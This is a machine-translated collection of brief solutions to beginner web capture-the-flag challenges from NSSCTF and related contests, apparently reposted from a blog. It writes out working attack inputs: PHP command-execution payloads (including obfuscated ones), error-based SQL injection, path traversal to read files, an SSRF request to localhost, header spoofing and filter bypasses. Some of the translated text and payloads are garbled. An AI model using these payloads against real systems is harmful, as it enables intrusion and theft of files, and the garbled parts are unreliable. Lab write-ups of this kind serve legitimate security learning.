NSSCTF 質問バンク - ウェブ

【SWPUTF 2021新人大会】gift_F12

f12 の後、ctrl+f でフラグを検索します

[SWPUTF 2021新人大会]jicao——json_decode()

暗号化された形式

$json = '{"a":"php","b":"mysql","c":3}';

json は二重引用符で囲んで送信する必要があります

構造: json={"x":"wllm" (GET 時、POST 時)id=wllmNB

【SWPUTF 2021 フレッシュマンコンペティション】easy_md5

名前=QNKCDZO

パスワード=240610708

【SWPUTF 2021フレッシュマンコンペティション】easyrce

url=システム('ls /');

?url=system('cat /flllllaaaaaaagggggg');

【フィフススペース2021】WebFTP

README.md にはデフォルトのアカウントとパスワードが含まれています

アカウント: 管理者

パスワード: admin888

フラグはphpinfo.phpにあります

[SWPUTF 2021 新人コンテスト]Do_you_know_http

ユーザーエージェント: ブラウザ名

x-forwarded-for: 127.0.0.1

【SWPUTF 2021フレッシュマンコンペティション】babyrce

[SWPUTF 2021 フレッシュマンコンペティション]easyupload1.0

phtmlをアップロードしてMIMEを変更する

【SWPUTF 2021フレッシュマンコンペティション】no_wakeup

[SWPUTF 2021 Freshman Competition]疑似プロトコル

[ZJCTF 2019]NiZhuanSiWei

2 番目の PHP ファイルは解析されるため、擬似プロトコルを使用する必要があります

[NISACTF 2022]easyssrf

ここには stristr 関数があり、file 変数を介してファイル プロトコルが読み取られるのを防ぐため、file コマンドはフィルターで除外されます。問題ありません。file 変数を直接使用してファイルを読み取ることができます。

ここでは、まず strstr、stristr、strops の違いを紹介します。簡単に言うと:
strstr は大文字と小文字が区別され、文字がある場合はその文字から開始されます。 true を返します。それ以外の場合は false を返します。 a>
stristr 文字 は大文字と小文字を区別しません。 文字から始まります。存在する場合は true を返し、それ以外の場合は false を返します
strpos は大文字と小文字を区別します。strpos の検索が成功すると、位置が返されます。位置が0の可能性があるため、検索失敗の判定には===falseを使用した方が適切です。

ファイルの内容

http://node2.anna.nssctf.cn:28373/ha1x1ux1u.php?file=../../../../../../flag

方法 2

【BJDCTF 2020】easy_md5

[NCTF 2018] サインインに関する質問

[SWPUTF 2021 Freshman Competition]エラー

?id=1' updatexml(1,concat(0x7e,(test_tb からフラグを選択),0x7e),1)--+ 
?id=1'そして updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+

【SWPUTF 2021フレッシュマンコンペティション】ハードレース

?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E% 9E%9E%9E%98%98%98%98%98%98%98);
 

【LitCTF 2023】PHPは世界最高の言語です! !

【NSSCTF2022春採用】ezgame

【GXYCTF 2019】ピンピンピン

概要フィルタリングされた一重引用符および二重引用符、()、フラグ

[LitCTF 2023] ミサイルの痕跡

【鶴留シティカップ2021】EasyP

ハイライト_ファイルはファイル読み取りの役割を果たすことができ、コードの最初の行にはutils.phpのファイルが含まれているため、フラグがこのファイルにあると大胆に推測します(もちろん、私はそれを実行しており、フラグがその中にあることは知っています)推測する必要はありません))。

したがって、次にやるべきことは 2 つあります。1 つは正規表現をバイパスして show_source を空にしないこと、もう 1 つは、basename($_SERVER['PHP_SELF']) の値を utils.php に、偶数にすることです。 $_SERVER['PHP_SELF'] が ******/utils.php の場合、最終的なベース名の値は utils.php となり、highlight_file がファイルを読み取ります。

したがって、/utils\.php\/*$/i と /show_source/ の通常の一致を回避する方法を見つける必要があります。

それをバイパスするには、最後に非 ASCII を追加するだけです。

したがって、%88 または文字化けの原因となる URL エンコードを使用して、それを回避できます。/utils\.php\/*$/i 通常のマッチング。

/show_source/show[source或者show.source绕过,这个记住即可。

/index.php/utils.php/%88?show[source=1

[LitCTF 2023]1zjs

【SWPUTF 2021フレッシュマンコンペティション】決勝戦

ご覧のとおり、フィルタ | シンボルがなく、exec 実行時にエコーも発生しません。この質問では、Linux コマンド「tee」を使用して、実行したいコマンドをファイルに書き込み、それにアクセスする必要があります。このファイルはこのコマンドを実行するために使用されます。

[LitCTF 2023]ピン

f12-f1

[LitCTF 2023]私をフォローしてハッキングしてください

【SWPUTF 2021フレッシュマンコンペティション】ez_caesar

U1hYSFlLe2R0em1mYWpwc3RiaGZqeGZ3fQ==

SXXHYK{dtzmfajpstbhfjxfw}

  1. str_list = list(plaintext): その後の操作を容易にするために、プレーン テキストを文字リストに変換します。

  2. i = 0: ループカウンター i を初期化します。

  3. while i < len(plaintext):: プレーンテキスト文字列内の各文字を反復処理するループを開始します。

  4. if not str_list[i].isalpha():: 現在の文字が文字でない場合、暗号化は実行されず、変更されないままになります。

  5. else:: 現在の文字が文字の場合は、次の操作を実行します。

  6. a = "A" if str_list[i].isupper() else "a": 現在の大文字と小文字に基づいて、基本文字 A または a を決定します。

  7. str_list[i] = chr((ord(str_list[i]) - ord(a) + 5) % 26 + ord(a) or 5): Caesar Cipher のルールに従って、現在の文字を 5 桁後方に移動し、対応する ASCII 値を再計算して、文字に変換し直します。

  8. i = i + 1: カウンタを更新し、次の文字を処理します。

  9. return ''.join(str_list): 文字リストを文字列に変換し、暗号化された暗号文を返します。

他の場所では動きがありません

[NISACTF 2022]チェックイン

データをエクスポートできない場合は、これをお試しください

a = 'E2 80 AE E2 81 A6 20 46 6C 61 67 21 E2 81 A9 E2 81 A6 4E 31 53 41 43 54 46'
b = ''
for i in a.split():
    x = '%'+i
    b += x
 
print(b)
import re
string = "E280AEE281A620466C616721E281A9E281A64E315341435446"
# 写出正则表达式 任意2个字符
pattern = re.compile('.{2}')
# findall是找到所有的字符,再在字符中添加空格,当然你想添加其他东西当然也可以
print('%'.join(pattern.findall(string)))

あはははは=ジタングレイロ%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68 % 69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E% 31 %53%41%43%54%46
 

[SWPUTF 2022 フレッシュマンコンペティション]ez_ez_php

PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCg0KZWNobyAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4i PGJyLz4iOw0KZWNobyAicmVhbF9mbGFnX2lzX2luXydmbGFnJyIuIjxici8+IjsNCmVjaG8gIuaNouS4quaAnei3r++8jOivleivlVBIUOS8quWNj+iuruWRoiI7DQo=

TlNTQ1RGe2VlZmQzOWM3LTNiNDMtNDUyMi1hYWNjLWYzMDkxNDNiMzg0ZH0K

【UUCTF 2022フレッシュマンコンペティション】websign

[HDCTF 2023]HDCTF 2023へようこそ

死んだらフラグが立つよ

[HNCTF 2022 WEEK2]ez_ssrf

fsockopen — ネットワーク接続または Unix ソケット接続を開く

hostname

OpenSSL がインストールされている場合は、ホスト名アドレスの前にアクセス プロトコルを追加する必要があります。ssl://または a>tls://。これにより、TCP/IP プロトコルに基づいた SSL または TLS クライアントを使用してリモート ホストに接続できます。

port

ポート番号。このパラメータに -1 が渡された場合、ポートが使用されないことを意味します (例: unix://)。

errno

このパラメータが渡された場合、システム レベルのconnect()呼び出しで発生したシステム レベルのエラー番号が保持されます。

場合errno の戻り値は0、この関数の戻り値は0です。 a> ) が呼び出される前にエラーが発生したことを示します。これが最大の理由です。接続失敗の場合。ソケットの初期化中にエラーが発生した可能性があります。 connect()FALSE の場合、ソケット接続 (

errstr

エラーメッセージは文字列として返されます。

timeout

接続時間制限を秒単位で設定します。

fsockopen() はファイル ハンドルを返します。このファイル ハンドルは、他のファイル クラス関数 (例: fgets()、fgetss()、fwrite()、fclose) によって呼び出すことができます。 () と feof()) があります。呼び出しが失敗した場合は、FALSE が返されます。

feof — ファイル ポインタがファイルの末尾に到達したかどうかをテストします

fgets — ファイル ポインタから行を読み取る

length

handle が指すファイルから 1 行を読み取り、最大 length - 1 バイトの長さの文字列を返します。 128 バイトを読み取ります。これはフラグの長さとまったく同じである可能性があります

dirseach スキャンは flag.php をスキャンでき、ローカル アクセスが必要です。

彼のポート 80 にローカルでアクセスします

host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

【UUCTF2022フレッシュマンコンペティション】ez_rce

eval — 文字列を PHP コードとして実行する

?code=printf(`c\at /fffffffffflagafag`);

【MoeCTF 2021】babyRCE

おすすめ

転載: blog.csdn.net/m0_71274136/article/details/132983305